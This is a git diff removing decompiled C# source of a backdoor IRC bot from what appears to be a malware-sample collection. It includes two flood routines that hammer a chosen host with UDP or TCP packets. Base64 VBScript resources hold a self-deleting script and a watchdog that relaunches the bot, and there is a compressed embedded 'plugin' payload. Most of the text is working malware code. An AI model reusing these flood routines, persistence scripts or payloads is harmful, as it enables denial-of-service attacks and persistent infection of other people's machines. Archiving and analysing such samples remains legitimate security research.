- return memoryStream.ToArray();
- }
-
- public static string _P(ref int y)
- {
- IND.pk = "";
- int num = y;
- for (int index = 0; index <= num; ++index)
- IND.pk += "A";
- return IND.pk;
- }
-
- public static void Du(Array z)
- {
- byte[] numArray = new byte[0];
- Encoding ascii = Encoding.ASCII;
- int y = 1000;
- string s = IND._P(ref y);
- byte[] bytes = ascii.GetBytes(s);
- try
- {
- TcpClient tcpClient = new TcpClient();
- Socket client = tcpClient.Client;
- object[] objArray1 = new object[2];
- object[] objArray2 = objArray1;
- Array Instance1 = z;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- int num1 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local1 = (ValueType) num1;
- objArray4[0] = (object) local1;
- object[] Arguments1 = objArray3;
- object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
- objArray2[0] = objectValue1;
- object[] objArray5 = objArray1;
- Array Instance2 = z;
- object[] objArray6 = new object[1];
- object[] objArray7 = objArray6;
- int num2 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local2 = (ValueType) num2;
- objArray7[0] = (object) local2;
- object[] Arguments2 = objArray6;
- object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
- objArray5[1] = objectValue2;
- object[] objArray8 = objArray1;
- object[] Arguments3 = objArray8;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num1,
- RuntimeHelpers.GetObjectValue(objArray8[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num2,
- RuntimeHelpers.GetObjectValue(objArray8[1])
- }, (string[]) null, true, false);
- tcpClient.Close();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) z, new object[1]
- {
- (object) 2
- }, (string[]) null));
- for (int index = 0; index <= integer; ++index)
- {
- UdpClient udpClient = new UdpClient();
- try
- {
- UdpClient Instance3 = udpClient;
- object[] objArray9 = new object[2];
- object[] objArray10 = objArray9;
- Array Instance4 = z;
- object[] objArray11 = new object[1];
- object[] objArray12 = objArray11;
- int num3 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local3 = (ValueType) num3;
- objArray12[0] = (object) local3;
- object[] Arguments4 = objArray11;
- object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
- objArray10[0] = objectValue3;
- object[] objArray13 = objArray9;
- Array Instance5 = z;
- object[] objArray14 = new object[1];
- object[] objArray15 = objArray14;
- int num4 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local4 = (ValueType) num4;
- objArray15[0] = (object) local4;
- object[] Arguments5 = objArray14;
- object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
- objArray13[1] = objectValue4;
- object[] objArray16 = objArray9;
- object[] Arguments6 = objArray16;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num3,
- RuntimeHelpers.GetObjectValue(objArray16[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num4,
- RuntimeHelpers.GetObjectValue(objArray16[1])
- }, (string[]) null, true, false);
- udpClient.Client.SendTimeout = 500;
- udpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
-
- public static void DT(Array Z)
- {
- byte[] numArray = new byte[0];
- Encoding ascii = Encoding.ASCII;
- int y = 1000;
- string s = IND._P(ref y);
- byte[] bytes = ascii.GetBytes(s);
- try
- {
- TcpClient tcpClient = new TcpClient();
- Socket client = tcpClient.Client;
- object[] objArray1 = new object[2];
- object[] objArray2 = objArray1;
- Array Instance1 = Z;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- int num1 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local1 = (ValueType) num1;
- objArray4[0] = (object) local1;
- object[] Arguments1 = objArray3;
- object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
- objArray2[0] = objectValue1;
- object[] objArray5 = objArray1;
- Array Instance2 = Z;
- object[] objArray6 = new object[1];
- object[] objArray7 = objArray6;
- int num2 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local2 = (ValueType) num2;
- objArray7[0] = (object) local2;
- object[] Arguments2 = objArray6;
- object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
- objArray5[1] = objectValue2;
- object[] objArray8 = objArray1;
- object[] Arguments3 = objArray8;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num1,
- RuntimeHelpers.GetObjectValue(objArray8[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num2,
- RuntimeHelpers.GetObjectValue(objArray8[1])
- }, (string[]) null, true, false);
- tcpClient.Close();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Z, new object[1]
- {
- (object) 2
- }, (string[]) null));
- for (int index = 0; index <= integer; ++index)
- {
- TcpClient tcpClient = new TcpClient();
- try
- {
- TcpClient Instance3 = tcpClient;
- object[] objArray9 = new object[2];
- object[] objArray10 = objArray9;
- Array Instance4 = Z;
- object[] objArray11 = new object[1];
- object[] objArray12 = objArray11;
- int num3 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local3 = (ValueType) num3;
- objArray12[0] = (object) local3;
- object[] Arguments4 = objArray11;
- object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
- objArray10[0] = objectValue3;
- object[] objArray13 = objArray9;
- Array Instance5 = Z;
- object[] objArray14 = new object[1];
- object[] objArray15 = objArray14;
- int num4 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local4 = (ValueType) num4;
- objArray15[0] = (object) local4;
- object[] Arguments5 = objArray14;
- object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
- objArray13[1] = objectValue4;
- object[] objArray16 = objArray9;
- object[] Arguments6 = objArray16;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num3,
- RuntimeHelpers.GetObjectValue(objArray16[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num4,
- RuntimeHelpers.GetObjectValue(objArray16[1])
- }, (string[]) null, true, false);
- tcpClient.Client.SendTimeout = 500;
- tcpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
-
- public delegate void indd(string T);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyApplication.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyApplication.cs
deleted file mode 100644
index b94efed6..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyApplication.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MyApplication
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic.ApplicationServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-
-namespace n.My
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal class MyApplication : ConsoleApplicationBase
- {
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyComputer.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyComputer.cs
deleted file mode 100644
index 9797a4fc..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyComputer.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MyComputer
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic.Devices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-
-namespace n.My
-{
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal class MyComputer : Computer
- {
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public MyComputer()
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyProject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyProject.cs
deleted file mode 100644
index 9fe45fbe..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyProject.cs
+++ /dev/null
@@ -1,225 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MyProject
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.ApplicationServices;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.CodeDom.Compiler;
-using System.Collections;
-using System.ComponentModel;
-using System.ComponentModel.Design;
-using System.Diagnostics;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Windows.Forms;
-
-namespace n.My
-{
- [StandardModule]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- [HideModuleName]
- internal sealed class MyProject
- {
- private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider();
-
- [HelpKeyword("My.Computer")]
- internal static MyComputer Computer
- {
- [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.Application")]
- internal static MyApplication Application
- {
- [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.User")]
- internal static User User
- {
- [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.Forms")]
- internal static MyProject.MyForms Forms
- {
- [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.WebServices")]
- internal static MyProject.MyWebServices WebServices
- {
- [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
- }
-
- [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class MyForms
- {
- public B m_B;
- public chat m_chat;
- [ThreadStatic]
- private static Hashtable m_FormBeingCreated;
-
- public B B
- {
- get
- {
- this.m_B = MyProject.MyForms.Create__Instance__(this.m_B);
- return this.m_B;
- }
- set
- {
- if (value == this.m_B)
- return;
- if (value != null)
- throw new ArgumentException("Property can only be set to Nothing");
- this.Dispose__Instance__(ref this.m_B);
- }
- }
-
- public chat chat
- {
- get
- {
- this.m_chat = MyProject.MyForms.Create__Instance__(this.m_chat);
- return this.m_chat;
- }
- set
- {
- if (value == this.m_chat)
- return;
- if (value != null)
- throw new ArgumentException("Property can only be set to Nothing");
- this.Dispose__Instance__(ref this.m_chat);
- }
- }
-
- [DebuggerHidden]
- private static T Create__Instance__(T Instance) where T : Form, new()
- {
- if ((object) Instance != null && !Instance.IsDisposed)
- return Instance;
- if (MyProject.MyForms.m_FormBeingCreated != null)
- {
- if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
- throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
- }
- else
- MyProject.MyForms.m_FormBeingCreated = new Hashtable();
- MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
- try
- {
- return new T();
- }
- catch (TargetInvocationException ex) when (
- {
- // ISSUE: unable to correctly present filter
- ProjectData.SetProjectError((Exception) ex);
- if (ex.InnerException != null)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
- }
- finally
- {
- MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
- }
- }
-
- [DebuggerHidden]
- private void Dispose__Instance__(ref T instance) where T : Form
- {
- instance.Dispose();
- instance = default (T);
- }
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public MyForms()
- {
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override int GetHashCode() => base.GetHashCode();
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal new System.Type GetType() => typeof (MyProject.MyForms);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override string ToString() => base.ToString();
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
- internal sealed class MyWebServices
- {
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override int GetHashCode() => base.GetHashCode();
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- internal new System.Type GetType() => typeof (MyProject.MyWebServices);
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override string ToString() => base.ToString();
-
- [DebuggerHidden]
- private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance;
-
- [DebuggerHidden]
- private void Dispose__Instance__(ref T instance) => instance = default (T);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public MyWebServices()
- {
- }
- }
-
- [ComVisible(false)]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class ThreadSafeObjectProvider where T : new()
- {
- internal T GetInstance
- {
- [DebuggerHidden] get
- {
- if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null)
- MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T();
- return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue;
- }
- }
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public ThreadSafeObjectProvider()
- {
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettings.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettings.cs
deleted file mode 100644
index 5d41a070..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettings.cs
+++ /dev/null
@@ -1,30 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MySettings
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Configuration;
-using System.Runtime.CompilerServices;
-
-namespace n.My
-{
- [CompilerGenerated]
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
- internal sealed class MySettings : ApplicationSettingsBase
- {
- private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
-
- public static MySettings Default
- {
- get
- {
- MySettings defaultInstance = MySettings.defaultInstance;
- return defaultInstance;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettingsProperty.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettingsProperty.cs
deleted file mode 100644
index 926eb3f6..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettingsProperty.cs
+++ /dev/null
@@ -1,31 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MySettingsProperty
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System.ComponentModel.Design;
-using System.Diagnostics;
-using System.Runtime.CompilerServices;
-
-namespace n.My
-{
- [DebuggerNonUserCode]
- [HideModuleName]
- [CompilerGenerated]
- [StandardModule]
- internal sealed class MySettingsProperty
- {
- [HelpKeyword("My.Settings")]
- internal static MySettings Settings
- {
- get
- {
- MySettings settings = MySettings.Default;
- return settings;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/Resources/Resources.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/Resources/Resources.cs
deleted file mode 100644
index b79d0b6e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/Resources/Resources.cs
+++ /dev/null
@@ -1,54 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.Resources.Resources
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Globalization;
-using System.Resources;
-using System.Runtime.CompilerServices;
-
-namespace n.My.Resources
-{
- [DebuggerNonUserCode]
- [CompilerGenerated]
- [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
- [StandardModule]
- [HideModuleName]
- internal sealed class Resources
- {
- private static ResourceManager resourceMan;
- private static CultureInfo resourceCulture;
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static ResourceManager ResourceManager
- {
- get
- {
- if (object.ReferenceEquals((object) n.My.Resources.Resources.resourceMan, (object) null))
- n.My.Resources.Resources.resourceMan = new ResourceManager("n.Resources", typeof (n.My.Resources.Resources).Assembly);
- return n.My.Resources.Resources.resourceMan;
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static CultureInfo Culture
- {
- get => n.My.Resources.Resources.resourceCulture;
- set => n.My.Resources.Resources.resourceCulture = value;
- }
-
- internal static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (P), n.My.Resources.Resources.resourceCulture));
-
- internal static byte[] plugin => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (plugin), n.My.Resources.Resources.resourceCulture));
-
- internal static string Q => n.My.Resources.Resources.ResourceManager.GetString(nameof (Q), n.My.Resources.Resources.resourceCulture);
-
- internal static string W => n.My.Resources.Resources.ResourceManager.GetString(nameof (W), n.My.Resources.Resources.resourceCulture);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Resources.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Resources.resx
deleted file mode 100644
index 01d19c56..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Resources.resx
+++ /dev/null
@@ -1,572 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ==
-
-
- b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi
-
-
-
-
- H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd
- ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f
- 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb
- pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1f4+/4g/6b5wbuf/Rr/Fq/5m/4
- a/4Gv8avsfNrCGL0/AUv6J+U/v8H4K/fU37/tezX9uev8RfJ578G//g9//Bf49f4zfh/7qf9wc9Tgvtd
- /PIHhJ/b5w/6NX6N3yj2+U1P+mv8Gr+B9+dvQH9/2/t73ObvWvr5l42lLY9V8TYPffwHjOumnv4aitsf
- oG32wna/J/1vXOdlNVVc/yBtt99r9yT8hJq+kJ/f/jXwyq/7a/zyhzQnv9Wv8Wv8mvT3r/tr/Bq/Xrf9
- Tc8v+G3+IHr11/nWb7nz6zCa9Mdv/mttEYclv9bPJPTFb/PbbP06+OO3++Ppr18z+fV+m5parP6SX++3
- rX9X/vlLfmO8/Wv8Gr/jzq/1a/wRvwYP4zdv6J9f7zdqfgf69zf+sd/glxB2v86P/e7/16//O9LfDeGY
- NIRlkvx6v17169PP34C++fXwzW+Ab36M/vkNf/2K+kq2fkP8Q/RJftwg++lvJR/+xvjnN6F/qt+U/vkP
- ftPffes3o5+/5a+z9Zvjz19j67egH4TTr8nEffZrfPKLfo3flN77NX/HnV/71/gz6RMa3W++9VvijV/3
- t/ktf51Ppr/5r/ub/zp/TvK7JFu/FUb6izGi3/LX/21+y1/vk8Pf/Nf/zX+9P+c3/PWq35q++PV/m63f
- hn78Nvd+l1+v+m3pl9/hHo3gt0OHv4n0/xtp97/5r/fb/hu/5a/3m/96v/mv/yf8nXt//2/+69Bfv85v
- /uv85r8u/fWnm7a/sbZN/yjCg/s9+On/+//+v7/1a/yavx1wfvxr/OZf/Bq/yW8o0/prXF/L77/jzq//
- a/wtvz7Lzm/+SzFro1/34C+nv9Nf/msqEMD+9ZLf6rf8LX6L36K+T/PzW/6Wv8VvuUXE/PW2fnt8Sy/+
